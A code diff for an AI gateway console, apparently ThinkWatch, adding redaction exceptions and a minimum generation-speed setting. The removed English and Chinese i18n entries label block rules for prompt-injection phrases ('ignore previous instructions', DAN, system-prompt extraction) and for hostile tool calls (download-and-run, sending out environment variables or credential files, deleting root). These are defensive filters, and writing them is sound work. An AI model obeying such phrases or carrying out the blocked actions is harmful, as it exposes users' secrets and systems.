-  'contentSecurity.toolRule.${_}.why': TOOL_RULE_IDS,
-  'contentSecurity.contentRule.${_}': CONTENT_RULE_IDS,
-  'contentSecurity.contentWhy.${_}': INVISIBLE_RULE_IDS,
-  'contentSecurity.cardNetwork.${_}': ['UnionPay'],
-  // Tool-call checks implemented in code (`{ kind: 'builtin', check }`).
-  'contentSecurity.check.${_}': ['credential-to-network', 'file-to-network', 'thinkwatch-data'],
+  // Where a saved secret came from (`sources[].kind` of a redaction event).
+  'contentSecurity.log.source.${_}': ['upstream-key'],
   'contentSecurity.dialog.match.${_}': ['contains', 'regex', 'codepoints'],
   'contentSecurity.dialog.regexHint.${_}': GUARD_IDS,
   'contentSecurity.dialog.actionWhat.${_}': RULE_ACTIONS,
diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json
index d290e064..9068e648 100644
--- a/web/src/i18n/en.json
+++ b/web/src/i18n/en.json
@@ -188,20 +188,6 @@
       "action": "Action",
       "enabled": "On"
     },
-    "kind": {
-      "api-keys": "API keys",
-      "private-keys": "Private keys",
-      "jwt": "JWTs",
-      "conn-strings": "Connection strings",
-      "personal": "Personal information",
-      "internal": "Internal addresses",
-      "command": "Built-in",
-      "injection": "Instruction override",
-      "persona": "Identity and prompts",
-      "chinese": "Chinese phrasing",
-      "invisible": "Hidden characters",
-      "custom": "Custom"
-    },
     "scope": {
       "request": "Request",
       "response": "Answer"
@@ -346,21 +332,12 @@
         "answerText": "Answer · text",
         "toolCall": "Answer · tool call",
         "toolCallNamed": "Answer · tool call {{tool}}"
+      },
+      "source": {
+        "upstream-key": "API key of provider {{name}}"
       }
     },
     "matcher": {
-      "prefix": "Starts with {{prefix}}, followed by at least {{n}} characters",
-      "openaiLegacy": "Starts with {{prefix}}, at least {{n}} characters long, with both letters and digits",
-      "pem": "From {{begin}} to its END, as a whole",
-      "jwt": "Three base64url parts; the first decodes to text containing {{alg}}",
-      "connString": "Only the password in {{uri}}",
-      "connStringShape": "scheme://user:password@host",
-      "privateIp": "Addresses starting with {{ranges}}; not {{loopback}}",
-      "domainSuffix": "Domains ending in {{suffixes}}",
-      "cnResidentId": "An 18-character resident ID number whose region code, birth date since {{year}} and check character all check out",
-      "bankCard": "A {{networks}} card number whose prefix and length match and that passes the Luhn check; public test card numbers excepted",
-      "email": "Email addresses, such as {{example}}",
-      "cnMobilePhone": "11-digit mobile numbers starting with 13–19, not run together with other digits",
       "regex": "Regex {{pattern}}, ignoring case",
       "regexCaseSensitive": "Regex {{pattern}}, case-sensitive",
       "contains": "Contains {{text}}, ignoring case",
@@ -368,132 +345,30 @@
       "codepoints": "Code points {{ranges}}",
       "other": "Built-in check"
     },
-    "check": {
-      "credential-to-network": "A credential sent to a host other than this machine and the credential's own provider",
-      "thinkwatch-data": "A path or command that points into ThinkWatch's data directory; a mention does not count",
-      "file-to-network": "A local file uploaded to an external host"
-    },
-    "cardNetwork": {
-      "UnionPay": "UnionPay"
-    },
-    "redactRule": {
-      "anthropic-api-key": "Anthropic API key",
-      "openai-project-key": "OpenAI project key",
-      "openai-api-key": "OpenAI API key",
-      "github-personal-token": "GitHub personal access token",
-      "github-oauth-token": "GitHub OAuth token",
-      "github-server-token": "GitHub server token",
-      "github-user-token": "GitHub user token",
-      "github-fine-grained-token": "GitHub fine-grained token",
-      "slack-bot-token": "Slack bot token",
-      "slack-user-token": "Slack user token",
-      "slack-app-token": "Slack app token",
-      "aws-access-key-id": "AWS access key ID",
-      "aws-temporary-key-id": "AWS temporary access key ID",
-      "google-api-key": "Google API key",
-      "google-oauth-token": "Google OAuth token",
-      "gitlab-token": "GitLab token",
-      "stripe-live-key": "Stripe live key",
-      "stripe-restricted-key": "Stripe restricted key",
-      "npm-token": "npm token",
-      "digitalocean-token": "DigitalOcean token",
-      "sendgrid-key": "SendGrid key",
-      "private-key": "Private key",
-      "jwt": "JWT",
-      "conn-string-password": "Connection string password",
-      "cn-resident-id": "Chinese resident ID number",
-      "bank-card": "Bank card number",
-      "email": "Email address",
-      "cn-mobile-phone": "Chinese mainland mobile number",
-      "internal-ip": "Internal IP address",
-      "internal-domain": "Internal domain"
-    },
-    "contentRule": {
-      "unicode-tags": "Unicode tag characters",
-      "bidi-controls": "Bidirectional controls",
-      "zero-width": "Zero-width characters",
-      "private-use": "Private-use characters",
-      "ignore-previous-instructions": "Ignore previous instructions",
-      "ignore-all-previous": "Ignore all previous",
-      "disregard-your-instructions": "Disregard your instructions",
-      "jailbreak": "Jailbreak",
-      "dan": "DAN",
-      "developer-mode": "Developer mode",
-      "you-are-now": "Persona manipulation",
-      "new-persona": "New persona",
-      "act-as": "Act as",
-      "pretend-to-be": "Pretend to be",
-      "system-prompt": "System prompt extraction",
-      "reveal-your-instructions": "Reveal instructions",
-      "what-are-your-rules": "What are your rules",
-      "base64-wall": "Base64 smuggling",
-      "zh-ignore-previous": "Ignore previous instructions (Chinese)",
-      "zh-forget-your": "Forget your instructions (Chinese)",
-      "zh-do-not-follow": "Do not follow (Chinese)",
-      "zh-you-are-now": "You are now (Chinese)",
-      "zh-role-play": "Role-play (Chinese)",
-      "zh-reveal-your": "Reveal your instructions (Chinese)",
-      "zh-system-prompt": "System prompt (Chinese)",
-      "zh-jailbreak": "Jailbreak (Chinese)"
-    },
-    "contentWhy": {
-      "unicode-tags": "Entirely invisible in an editor, yet carried into the model's context as they are, so a whole instruction can hide in them.",
-      "bidi-controls": "They make what is on screen read in a different order than the characters actually are.",
-      "zero-width": "Invisible in an editor, yet read by the model. Ordinary text such as emoji and Persian uses them too.",
-      "private-use": "They have no standard meaning. Some icon fonts use them."
-    },
-    "toolRule": {
-      "curl-pipe-sh": {
-        "name": "Download and run",
-        "why": "Downloads and runs it straight away; what runs is decided remotely and cannot be read first"
-      },
-      "base64-decode-exec": {
-        "name": "Decode and run",
-        "why": "Hides what will run inside base64"
-      },
-      "exfil-env": {
-        "name": "Send out environment variables",
-        "why": "Sends the environment, which usually holds keys, somewhere else"
-      },
-      "exfil-credentials": {
-        "name": "Send out a credential file",
-        "why": "Asks the model to send the contents of a credential file somewhere"
-      },
-      "exfil-credentials-reversed": {
-        "name": "Send out a credential file (verb first)",
-        "why": "Asks the model to send the contents of a credential file somewhere"
-      },
-      "ssh-key-read": {
-        "name": "Read a private key or cloud credential",
-        "why": "Reads a private key or a cloud credential"
-      },
-      "secret-to-unknown-host": {
-        "name": "Send a credential to an unknown host",
-        "why": "Sends a credential to a host that is neither local nor the credential's own provider"
-      },
-      "thinkwatch-data": {
-        "name": "Read or change ThinkWatch's own data",
-        "why": "Reads or changes ThinkWatch's data directory, which holds every upstream key in plain text and the settings of these protections"
-      },
-      "write-startup-item": {
-        "name": "Write a startup item",
-        "why": "Writes somewhere that runs at login or whenever a terminal opens"
-      },
-      "crontab-install": {
-        "name": "Install a scheduled job",
-        "why": "Installs a scheduled job, or deletes every existing one"
-      },
-      "rm-rf-root": {
-        "name": "Delete home or root",
-        "why": "Deletes the whole home directory or the root"
-      },
-      "chmod-777": {
-        "name": "World-writable permissions",
-        "why": "Makes a file writable by everyone"
-      },
-      "upload-file-to-host": {
-        "name": "Upload a local file to an external host",
-        "why": "Uploads the contents of a local file to an external host"
+    "exceptions": {
+      "title": "Exceptions · {{count}}",
+      "lead": "These values are neither replaced nor recorded, whichever rule finds them. Only a hash and the masked value are kept.",
+      "empty": "No exceptions. A value that is recognised by mistake again and again can be made an exception, and the rule keeps working for every other value.",
+      "full": "There are {{max}} exceptions, the most there may be. Remove one to add another.",
+      "add": "Add exception",
+      "addTitle": "Add an exception",
+      "addDesc": "This value will no longer be replaced, nor recorded, by any rule. Saved provider API keys cannot be exceptions.",
+      "value": "Value",
+      "valueHint": "Paste the value as it appears in requests; spaces and line breaks around it are ignored. It is hashed on the server and not stored.",
+      "duplicate": "This value is already an exception.",
+      "added": "Added {{value}} as an exception",
+      "removed": "Removed {{value}} from the exceptions",
+      "remove": "Remove",
+      "removeTitle": "Remove {{value}} from the exceptions?",
+      "removeDesc": "The rules will replace or record this value again.",
+      "noRule": "No rule recognised it",
+      "loadFailed": "Could not load the exceptions",
+      "excepted": "Exception, left as is",
+      "inTrial": "Exceptions left as is: {{count}}",
+      "col": {
+        "value": "Value",
+        "rule": "Rule",
+        "added": "Added"
       }
     }
   },
@@ -708,6 +583,14 @@
     "headers": "Request Headers",
     "headersDesc": "Headers sent with every request to this provider. Use {{user_id}} or {{user_email}} in values to forward caller identity.",
     "headerValueStored": "Saved — leave blank to keep",
+    "minSpeed": "Minimum generation speed",
+    "minSpeedBefore": "Stop when generation is slower than",
+    "minSpeedMiddle": "tokens/s for",
+    "minSpeedAfter": "s",
+    "minSpeedRate": "Generation speed (tokens/s)",
+    "minSpeedWindow": "Window (seconds)",
+    "minSpeedHint": "Leave the speed blank for no limit. Measured from the first token; long pauses are not counted. After a stop, the client retries.",
+    "minSpeedInvalid": "The speed must be a whole number from 1 to 1000, and the window from 5 to 120 seconds.",
     "customHeaders": "Custom Headers",
     "customHeadersDesc": "Custom HTTP headers forwarded with requests. Use {{user_id}} or {{user_email}} in values to forward caller identity.",
     "addHeader": "Add Header",
diff --git a/web/src/i18n/zh.json b/web/src/i18n/zh.json
index 2ace1a87..bb3dfcef 100644
--- a/web/src/i18n/zh.json
+++ b/web/src/i18n/zh.json
@@ -188,20 +188,6 @@
       "action": "动作",
       "enabled": "启用"
     },
-    "kind": {
-      "api-keys": "API 密钥",
-      "private-keys": "私钥",
-      "jwt": "JWT",
-      "conn-strings": "连接串",
-      "personal": "个人信息",
-      "internal": "内网地址",
-      "command": "内置",
-      "injection": "指令覆盖",
-      "persona": "身份与提示词",
-      "chinese": "中文说法",
-      "invisible": "隐藏字符",
-      "custom": "自定义"
-    },
     "scope": {
       "request": "请求",
       "response": "回答"
@@ -346,21 +332,12 @@
         "answerText": "回答 · 正文",
         "toolCall": "回答 · 工具调用",
         "toolCallNamed": "回答 · 工具调用 {{tool}}"
+      },
+      "source": {
+        "upstream-key": "供应商「{{name}}」的 API 密钥"
       }
     },
     "matcher": {
-      "prefix": "{{prefix}} 开头，其后至少 {{n}} 个字符",
-      "openaiLegacy": "{{prefix}} 开头，全长至少 {{n}} 个字符，同时含字母和数字",
-      "pem": "{{begin}} 至对应的 END，整段",
-      "jwt": "三段 base64url，首段解码后含 {{alg}}",
-      "connString": "{{uri}} 中的口令，只换口令",
-      "connStringShape": "协议://用户:口令@主机",
-      "privateIp": "{{ranges}} 开头的地址，不含 {{loopback}}",
-      "domainSuffix": "以 {{suffixes}} 结尾的域名",
-      "cnResidentId": "18 位居民身份证号：地区码、{{year}} 年以来的出生日期和校验码都对得上",
-      "bankCard": "{{networks}} 的卡号：号段、位数对得上并通过 Luhn 校验；公开的测试卡号除外",
-      "email": "邮箱地址，如 {{example}}",
-      "cnMobilePhone": "11 位手机号，以 13–19 开头，前后不紧挨其他数字",
       "regex": "正则 {{pattern}}，不区分大小写",
       "regexCaseSensitive": "正则 {{pattern}}，区分大小写",
       "contains": "包含 {{text}}，不区分大小写",
@@ -368,132 +345,30 @@
       "codepoints": "码位 {{ranges}}",
       "other": "内置判据"
     },
-    "check": {
-      "credential-to-network": "凭据发往本机和其服务商以外的主机",
-      "thinkwatch-data": "路径或命令指向 ThinkWatch 的数据目录；只是提到不算",
-      "file-to-network": "本地文件上传到外部主机"
-    },
-    "cardNetwork": {
-      "UnionPay": "银联"
-    },
-    "redactRule": {
-      "anthropic-api-key": "Anthropic API 密钥",
-      "openai-project-key": "OpenAI 项目密钥",
-      "openai-api-key": "OpenAI API 密钥",
-      "github-personal-token": "GitHub 个人令牌",
-      "github-oauth-token": "GitHub OAuth 令牌",
-      "github-server-token": "GitHub 服务器令牌",
-      "github-user-token": "GitHub 用户令牌",
-      "github-fine-grained-token": "GitHub 细粒度令牌",
-      "slack-bot-token": "Slack 机器人令牌",
-      "slack-user-token": "Slack 用户令牌",
-      "slack-app-token": "Slack 应用令牌",
-      "aws-access-key-id": "AWS 访问密钥 ID",
-      "aws-temporary-key-id": "AWS 临时访问密钥 ID",
-      "google-api-key": "Google API 密钥",
-      "google-oauth-token": "Google OAuth 令牌",
-      "gitlab-token": "GitLab 令牌",
-      "stripe-live-key": "Stripe 生产密钥",
-      "stripe-restricted-key": "Stripe 受限密钥",
-      "npm-token": "npm 令牌",
-      "digitalocean-token": "DigitalOcean 令牌",
-      "sendgrid-key": "SendGrid 密钥",
-      "private-key": "私钥",
-      "jwt": "JWT",
-      "conn-string-password": "连接串口令",
-      "cn-resident-id": "居民身份证号",
-      "bank-card": "银行卡号",
-      "email": "邮箱地址",
-      "cn-mobile-phone": "中国大陆手机号",
-      "internal-ip": "内网地址",
-      "internal-domain": "内部域名"
-    },
-    "contentRule": {
-      "unicode-tags": "Unicode 标签字符",
-      "bidi-controls": "双向控制符",
-      "zero-width": "零宽字符",
-      "private-use": "私用区字符",
-      "ignore-previous-instructions": "要求忽略先前的指令",
-      "ignore-all-previous": "要求忽略之前的全部内容",
-      "disregard-your-instructions": "要求无视指令",
-      "jailbreak": "越狱",
-      "dan": "DAN",
-      "developer-mode": "开发者模式",
-      "you-are-now": "重新设定身份",
-      "new-persona": "新的人设",
-      "act-as": "要求扮演角色",
-      "pretend-to-be": "要求假装身份",
-      "system-prompt": "索取系统提示词",
-      "reveal-your-instructions": "要求透露指令",
-      "what-are-your-rules": "询问规则",
-      "base64-wall": "长串 Base64",
-      "zh-ignore-previous": "要求忽略先前的指令（中文）",
-      "zh-forget-your": "要求忘记指令（中文）",
-      "zh-do-not-follow": "要求不要遵循（中文）",
-      "zh-you-are-now": "重新设定身份（中文）",
-      "zh-role-play": "要求扮演角色（中文）",
-      "zh-reveal-your": "要求透露指令（中文）",
-      "zh-system-prompt": "系统提示词（中文）",
-      "zh-jailbreak": "越狱（中文）"
-    },
-    "contentWhy": {
-      "unicode-tags": "在编辑器中完全不可见，但会原样进入模型上下文，可用于隐藏整段指令。",
-      "bidi-controls": "可使屏幕上的显示顺序与实际字符顺序不一致。",
-      "zero-width": "在编辑器中不可见，但会被模型读到。表情符号、波斯文等正常文字也会用到。",
-      "private-use": "没有标准含义。部分图标字体会用到。"
-    },
-    "toolRule": {
-      "curl-pipe-sh": {
-        "name": "下载即执行",
-        "why": "下载后直接执行，执行的内容由远端决定且无法预先查看"
-      },
-      "base64-decode-exec": {
-        "name": "解码后执行",
-        "why": "将要执行的内容隐藏在 base64 编码中"
-      },
-      "exfil-env": {
-        "name": "外发环境变量",
-        "why": "将环境变量（通常包含密钥）发送到外部"
-      },
-      "exfil-credentials": {
-        "name": "外发凭据文件",
-        "why": "要求模型将凭据文件的内容发送出去"
-      },
-      "exfil-credentials-reversed": {
-        "name": "外发凭据文件（动词在前）",
-        "why": "要求模型将凭据文件的内容发送出去"
-      },
-      "ssh-key-read": {
-        "name": "读取私钥或云凭据",
-        "why": "读取私钥或云服务凭据"
-      },
-      "secret-to-unknown-host": {
-        "name": "发送凭据到陌生主机",
-        "why": "将凭据发送到本机和该凭据所属服务商以外的主机"
-      },
-      "thinkwatch-data": {
-        "name": "读写 ThinkWatch 自己的数据",
-        "why": "读写 ThinkWatch 的数据目录，其中以明文保存全部上游密钥和这几项防护的设置"
-      },
-      "write-startup-item": {
-        "name": "写入启动项",
-        "why": "写入开机或打开终端时自动执行的位置"
-      },
-      "crontab-install": {
-        "name": "安装定时任务",
-        "why": "安装定时任务，或删除全部现有定时任务"
-      },
-      "rm-rf-root": {
-        "name": "删除主目录或根目录",
-        "why": "删除整个主目录或根目录"
-      },
-      "chmod-777": {
-        "name": "开放全部写权限",
-        "why": "将文件权限设为所有人可写"
-      },
-      "upload-file-to-host": {
-        "name": "上传本地文件到外部主机",
-        "why": "将本地文件的内容上传到外部主机"
+    "exceptions": {
+      "title": "例外 · {{count}} 个值",
+      "lead": "这些值在任何规则下都不替换、不记录。只保存哈希与打码后的值。",
+      "empty": "暂无例外。某个值反复被误认时，可只将该值列为例外，规则对其他值照常生效。",
+      "full": "例外已达上限 {{max}} 个，移出一个后才能添加。",
+      "add": "添加例外",
+      "addTitle": "添加例外",
+      "addDesc": "此值今后在任何规则下都不再替换，也不再记录。保存的供应商 API 密钥不能列为例外。",
+      "value": "值",
+      "valueHint": "按请求中出现的样子粘贴，首尾的空格与换行不计。值在服务器端计算哈希，不保存原值。",
+      "duplicate": "此值已在例外中。",
+      "added": "已将 {{value}} 列为例外",
+      "removed": "已将 {{value}} 移出例外",
+      "remove": "移出例外",
+      "removeTitle": "将 {{value}} 移出例外？",
+      "removeDesc": "移出后，规则将重新替换或记录此值。",
+      "noRule": "无规则认出",
+      "loadFailed": "无法加载例外",
+      "excepted": "例外，不处理",
+      "inTrial": "{{count}} 个值属于例外，不处理。",
+      "col": {
+        "value": "值",
+        "rule": "规则",
+        "added": "加入时间"
       }
     }
   },
@@ -708,6 +583,14 @@
     "headers": "请求头",
     "headersDesc": "发送给此提供商的请求头。值中可使用 {{user_id}} 或 {{user_email}} 转发调用者身份。",
     "headerValueStored": "已保存，留空即保持不变",
+    "minSpeed": "生成速度下限",
+    "minSpeedBefore": "生成速度低于",
+    "minSpeedMiddle": "token/秒持续",
+    "minSpeedAfter": "秒时中断",
+    "minSpeedRate": "生成速度（token/秒）",
+    "minSpeedWindow": "判定时长（秒）",
+    "minSpeedHint": "速度留空即不限制。从第一个 token 起计，较长的停顿不计入。中断后由客户端重试。",
+    "minSpeedInvalid": "生成速度须为 1–1000 的整数，判定时长须为 5–120 秒。",
     "customHeaders": "自定义请求头",
     "customHeadersDesc": "随请求转发的自定义 HTTP 头。值中可使用 {{user_id}} 或 {{user_email}} 转发调用者身份。",
     "addHeader": "添加请求头",
diff --git a/web/src/lib/security-types.ts b/web/src/lib/security-types.ts
index 50b2d6fa..7f397909 100644
--- a/web/src/lib/security-types.ts
+++ b/web/src/lib/security-types.ts
@@ -63,6 +63,13 @@ export interface CardNetwork {
   lengths: number[];
 }
 
+/** One prefix of a `prefixes` matcher and what must follow it: any token characters, hex digits, or letters and digits. */
+export interface PrefixView {
+  prefix: string;
+  min_tail: number;
+  tail: 'any' | 'hex' | 'alnum';
+}
+
 /**
  * What a rule matches, for display. Built-in rules use the specific kinds;
  * custom rules are `regex`, `contains` or `codepoints`. `case_sensitive`
@@ -71,11 +78,17 @@ export interface CardNetwork {
  * `codepoints.ranges` is the canonical spelling (`U+200B`,
  * `U+E0000–U+E007F`); a custom rule's is the items as written, so joining
  * them with `, ` gives back what is stored. `builtin` is a check
- * implemented in code, with nothing to show but its stable name. A kind
- * the console does not know yet is shown with a generic description.
+ * implemented in code, with nothing to show but its stable name: a
+ * tool-call check's name, or the id of a redaction rule that checks digits,
+ * word lists or where a value sits. A kind the console does not know yet is
+ * shown with a generic description.
  */
 export type Matcher =
   | { kind: 'prefix'; prefix: string; min_tail: number }
+  | { kind: 'prefixes'; prefixes: PrefixView[] }
+  | { kind: 'saved' }
+  | { kind: 'assignment'; suffixes: string[] }
+  | { kind: 'labeled'; names: string[] }
   | { kind: 'openai-legacy'; min_len: number }
   | { kind: 'pem' }
   | { kind: 'jwt' }
@@ -96,14 +109,23 @@ export interface SecurityRuleView {
   /** A built-in rule's id, or a custom rule's name. */
   id: string;
   custom: boolean;
-  /** English name; the console looks the id up first. A custom rule's name. */
+  /** English name. A custom rule's name, in no particular language. */
   name: string;
+  /** Chinese name: every built-in rule has one; custom rules do not. */
+  name_zh?: string;
   /** Why the rule is worth a look (English). Absent where the name says it, and on custom rules. */
   why?: string;
+  /** The same, in Chinese. */
+  why_zh?: string;
+  /**
+   * What a built-in redaction rule finds, as a sentence (English); text in
+   * backticks is code. Absent on the other guards and on custom rules.
+   */
+  about?: string;
+  /** The same, in Chinese. */
+  about_zh?: string;
   /**
-   * Group. Redaction: `api-keys` `private-keys` `jwt` `conn-strings`
-   * `personal` `internal`; tool calls: `command`; content: `invisible`
-   * `injection` `persona` `chinese`. Custom rules: `custom`.
+   * Group: the `slug` of one of the guard's `kinds`. Custom rules: `custom`.
    */
   kind: string;
   matcher: Matcher;
@@ -122,10 +144,40 @@ export interface SecurityRuleView {
   replacement?: string | null;
 }
 
+/** A group of a guard's rule table, named in both languages. */
+export interface SecurityKindView {
+  /** What a rule's `kind` says. */
+  slug: string;
+  name: string;
+  name_zh: string;
+}
+
 export interface GuardDetail {
   mode: GuardMode;
   /** In display order: built-in groups first, custom rules last. */
   rules: SecurityRuleView[];
+  /** The groups, in display order; every rule's `kind` is one of them, `custom` last. */
+  kinds: SecurityKindView[];
+}
+
+/**
+ * A redaction exception value: never replaced or recorded, whichever rule
+ * finds it. Only its SHA-256 and masked form are kept, never the value.
+ */
+export interface RedactException {
+  sha256: string;
+  masked: string;
+  /** The rule that first recognised it; absent when none did. */
+  rule?: string;
+  /** Milliseconds since the epoch. */
+  added_at: number;
+}
+
+/** `GET /api/admin/security/redact/exceptions`. */
+export interface RedactExceptionList {
+  items: RedactException[];
+  /** How many there may be. */
+  max: number;
 }
 
 /** `GET /api/admin/security`. */
@@ -175,8 +227,14 @@ export interface SecurityTestHit {
    * characters are drawn as `‹U+200B›`, a run as `‹U+E0049 ×12›`.
    */
   excerpt: string;
-  /** What the rule does when the guard is on. */
+  /** What the rule does when the guard is on. Absent on an exception value. */
   action?: RuleAction | null;
+  /**
+   * Redaction: the value is an exception (`security.redact.exceptions`):
+   * recognised, but neither replaced nor recorded, and left as it is in
+   * `output`.
+   */
+  excepted?: boolean;
 }
 
 export interface SecurityTestResult {
diff --git a/web/src/routes/gateway/provider-dialogs.test.tsx b/web/src/routes/gateway/provider-dialogs.test.tsx
index 37c8fda1..eaba99f4 100644
--- a/web/src/routes/gateway/provider-dialogs.test.tsx
+++ b/web/src/routes/gateway/provider-dialogs.test.tsx
@@ -2,6 +2,7 @@ import { describe, it, expect, vi, beforeAll, beforeEach } from 'vitest'
 import { render, screen } from '@testing-library/react'
 import userEvent, { type UserEvent } from '@testing-library/user-event'
 import { CreateProviderDialog, EditProviderDialog } from './provider-dialogs'
+import { minSpeedFields } from './provider-min-speed'
 import type { Provider } from './provider-types'
 
 vi.mock('@/lib/api', () => ({
@@ -44,6 +45,8 @@ function bedrock(headers: { key: string; value: string; encrypted?: boolean }[])
     base_url: 'us-east-1',
     is_active: true,
     config_json: { headers },
+    min_speed_tokens_per_sec: null,
+    min_speed_window_secs: 20,
     created_at: '2026-09-28T00:00:00Z',
   }
 }
@@ -75,9 +78,41 @@ describe('CreateProviderDialog', () => {
       provider_type: 'bedrock',
       base_url: 'us-east-1',
       headers: [{ key: 'Authorization', value: 'Bearer ABSK-test' }],
+      min_speed_tokens_per_sec: null,
+      min_speed_window_secs: 20,
     })
   })
 
+  it('creates a provider with the slowest generation its streams may keep up', async () => {
+    const user = userEvent.setup()
+    renderCreate()
+
+    await user.type(screen.getByLabelText('Name'), 'local-vllm')
+    const rate = screen.getByLabelText('Generation speed (tokens/s)')
+    const window = screen.getByLabelText('Window (seconds)')
+    expect(rate).toHaveValue('')
+    expect(window).toHaveValue('20')
+    await user.type(rate, '15')
+    await user.clear(window)
+    await user.type(window, '30')
+    await user.click(screen.getByRole('button', { name: 'Create Provider' }))
+
+    expect(apiPost).toHaveBeenCalledWith(
+      '/api/admin/providers',
+      expect.objectContaining({ name: 'local-vllm', min_speed_tokens_per_sec: 15, min_speed_window_secs: 30 }),
+    )
+  })
+
+  it('will not create a provider with a speed or window out of range', async () => {
+    const user = userEvent.setup()
+    renderCreate()
+
+    await user.clear(screen.getByLabelText('Window (seconds)'))
+    await user.type(screen.getByLabelText('Window (seconds)'), '121')
+    expect(screen.getByText(/whole number from 1 to 1000/)).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'Create Provider' })).toBeDisabled()
+  })
+
   it('tests a Bedrock provider with the access keys typed into the form', async () => {
     const user = userEvent.setup()
     renderCreate()
@@ -153,6 +188,8 @@ describe('EditProviderDialog', () => {
       display_name: 'Bedrock',
       base_url: 'us-east-1',
       headers: [{ key: 'Authorization', value: 'Bearer ABSK-new' }],
+      min_speed_tokens_per_sec: null,
+      min_speed_window_secs: 20,
     })
   })
 
@@ -188,4 +225,58 @@ describe('EditProviderDialog', () => {
       provider_id: 'prov-1',
     })
   })
+
+  it('sets the slowest generation a stream may keep up', async () => {
+    const user = userEvent.setup()
+    renderEdit(bedrock([]))
+
+    const rate = screen.getByLabelText('Generation speed (tokens/s)')
+    const window = screen.getByLabelText('Window (seconds)')
+    expect(rate).toHaveValue('')
+    expect(window).toHaveValue('20')
+    await user.type(rate, '15')
+    await user.clear(window)
+    await user.type(window, '30')
+    await user.click(screen.getByRole('button', { name: 'Save' }))
+
+    expect(apiPatch).toHaveBeenCalledWith(
+      '/api/admin/providers/prov-1',
+      expect.objectContaining({ min_speed_tokens_per_sec: 15, min_speed_window_secs: 30 }),
+    )
+  })
+
+  it('turns the minimum off when the speed is cleared', async () => {
+    const user = userEvent.setup()
+    renderEdit({ ...bedrock([]), min_speed_tokens_per_sec: 15, min_speed_window_secs: 30 })
+
+    const rate = screen.getByLabelText('Generation speed (tokens/s)')
+    expect(rate).toHaveValue('15')
+    await user.clear(rate)
+    await user.click(screen.getByRole('button', { name: 'Save' }))
+
+    expect(apiPatch).toHaveBeenCalledWith(
+      '/api/admin/providers/prov-1',
+      expect.objectContaining({ min_speed_tokens_per_sec: null, min_speed_window_secs: 30 }),
+    )
+  })
+
+  it('will not save a speed or window out of range', async () => {
+    const user = userEvent.setup()
+    renderEdit(bedrock([]))
+
+    await user.type(screen.getByLabelText('Generation speed (tokens/s)'), '1001')
+    expect(screen.getByText(/whole number from 1 to 1000/)).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'Save' })).toBeDisabled()
+  })
+})
+
+describe('minSpeedFields', () => {
+  it('takes whole numbers in range, and a blank speed as off', () => {
+    expect(minSpeedFields('', '20')).toEqual({ min_speed_tokens_per_sec: null, min_speed_window_secs: 20 })
+    expect(minSpeedFields(' 1000 ', '5')).toEqual({ min_speed_tokens_per_sec: 1000, min_speed_window_secs: 5 })
+    expect(minSpeedFields('1', '120')).toEqual({ min_speed_tokens_per_sec: 1, min_speed_window_secs: 120 })
+    for (const [rate, window] of [['0', '20'], ['1001', '20'], ['1.5', '20'], ['x', '20'], ['', '4'], ['', '121'], ['', '']]) {
+      expect(minSpeedFields(rate, window), `${rate} / ${window}`).toBeNull()
+    }
+  })
 })
diff --git a/web/src/routes/gateway/provider-dialogs.tsx b/web/src/routes/gateway/provider-dialogs.tsx
index d6ec8444..da770d84 100644
--- a/web/src/routes/gateway/provider-dialogs.tsx
+++ b/web/src/routes/gateway/provider-dialogs.tsx
@@ -21,6 +21,7 @@ import { ScrollArea } from '@/components/ui/scroll-area';
 import { Collapsible, CollapsibleContent, CollapsibleTrigger } from '@/components/ui/collapsible';
 import { toast } from 'sonner';
 import type { Provider, TestResult } from './provider-types';
+import { DEFAULT_MIN_SPEED_WINDOW_SECS, minSpeedFields } from './provider-min-speed';
 
 const defaultHeadersForType = (type: string): [string, string][] => {
   switch (type) {
@@ -178,6 +179,53 @@ const headerPresets = (t: (key: string) => string) => [
 // Create Provider Dialog
 // ---------------------------------------------------------------------------
 
+/**
+ * "Stop when generation is slower than [ ] tokens/s for [20] s": the
+ * provider's minimum generation speed, checked as it is typed.
+ */
+function MinSpeedRow({ id, rate, window, onRateChange, onWindowChange }: {
+  id: string;
+  rate: string;
+  window: string;
+  onRateChange: (v: string) => void;
+  onWindowChange: (v: string) => void;
+}) {
+  const { t } = useTranslation();
+  const valid = minSpeedFields(rate, window) !== null;
+  return (
+    <div className="space-y-2">
+      <Label htmlFor={id}>{t('providers.minSpeed')}</Label>
+      <div className="flex flex-wrap items-center gap-2 text-sm">
+        <span>{t('providers.minSpeedBefore')}</span>
+        <Input
+          id={id}
+          className="w-20"
+          inputMode="numeric"
+          aria-label={t('providers.minSpeedRate')}
+          aria-invalid={!valid}
+          value={rate}
+          onChange={(e) => onRateChange(e.target.value)}
+        />
+        <span>{t('providers.minSpeedMiddle')}</span>
+        <Input
+          className="w-16"
+          inputMode="numeric"
+          aria-label={t('providers.minSpeedWindow')}
+          aria-invalid={!valid}
+          value={window}
+          onChange={(e) => onWindowChange(e.target.value)}
+        />
+        <span>{t('providers.minSpeedAfter')}</span>
+      </div>
+      {valid ? (
+        <p className="text-xs text-muted-foreground">{t('providers.minSpeedHint')}</p>
+      ) : (
+        <p className="text-xs text-destructive">{t('providers.minSpeedInvalid')}</p>
+      )}
+    </div>
+  );
+}
+
 interface CreateProviderDialogProps {
   open: boolean;
   onOpenChange: (open: boolean) => void;
@@ -195,6 +243,8 @@ export function CreateProviderDialog({ open, onOpenChange, onSuccess }: CreatePr
   const [bedrockAuthMode, setBedrockAuthMode] = useState<BedrockAuthMode>('aksk');
   const [awsAccessKeyId, setAwsAccessKeyId] = useState('');
   const [awsSecretKey, setAwsSecretKey] = useState('');
+  const [minSpeedRate, setMinSpeedRate] = useState('');
+  const [minSpeedWindow, setMinSpeedWindow] = useState(String(DEFAULT_MIN_SPEED_WINDOW_SECS));
   const [formError, setFormError] = useState('');
   const [submitting, setSubmitting] = useState(false);
   const [testing, setTesting] = useState(false);
@@ -230,12 +280,17 @@ export function CreateProviderDialog({ open, onOpenChange, onSuccess }: CreatePr
     setBedrockAuthMode('aksk');
     setAwsAccessKeyId('');
     setAwsSecretKey('');
+    setMinSpeedRate('');
+    setMinSpeedWindow(String(DEFAULT_MIN_SPEED_WINDOW_SECS));
     setFormError('');
     setTestResult(null);
   };
 
+  const minSpeed = minSpeedFields(minSpeedRate, minSpeedWindow);
+
   const handleCreate = async (e: FormEvent) => {
     e.preventDefault();
+    if (!minSpeed) return;
     setFormError('');
     setSubmitting(true);
     try {
